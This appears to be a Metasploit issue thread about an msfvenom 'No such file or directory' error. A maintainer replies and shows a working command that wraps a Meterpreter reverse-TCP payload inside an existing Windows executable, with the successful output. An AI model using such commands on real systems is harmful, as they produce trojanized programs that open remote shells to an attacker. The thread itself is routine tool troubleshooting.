Metasploit-framework: Error: No such file or directory @ rb_sysopen -

[IsaacSxm]

Steps to reproduce

How'd you do it?

1. Open terminal as root user. Enter the code below
2. msfvenom -p windows/meterpreter/reverse_tcp -k -x original_file.exe LHOST=[YOUR_IP] LPORT=[PORT] -f exe -o clone_file.exe

Expected behavior

Payload size: xxx bytes

What should happen?
Payload should be generated

Current behavior

Error: No such file or directory @ rb_sysopen - ./original_file.exe

What happens instead?
It shows error and does not upload payload.

Metasploit version

5.0.41-dev

OS

Kali linux

[bcoles]

The -x argument is used to specify a custom executable file to use as a template.

The -x argument requires a path to an existing executable.

No such file or directory implies that the filename provided in the -x argument does not exist.

# ruby -W0 ./msfvenom -p windows/meterpreter/reverse_tcp -k -x /usr/share/dbd/binaries/dbd.exe LHOST=172.16.191.165 LPORT=1337 -f exe -o clone_file.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of exe file: 67072 bytes
Saved as: clone_file.exe
# file clone_file.exe 
clone_file.exe: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows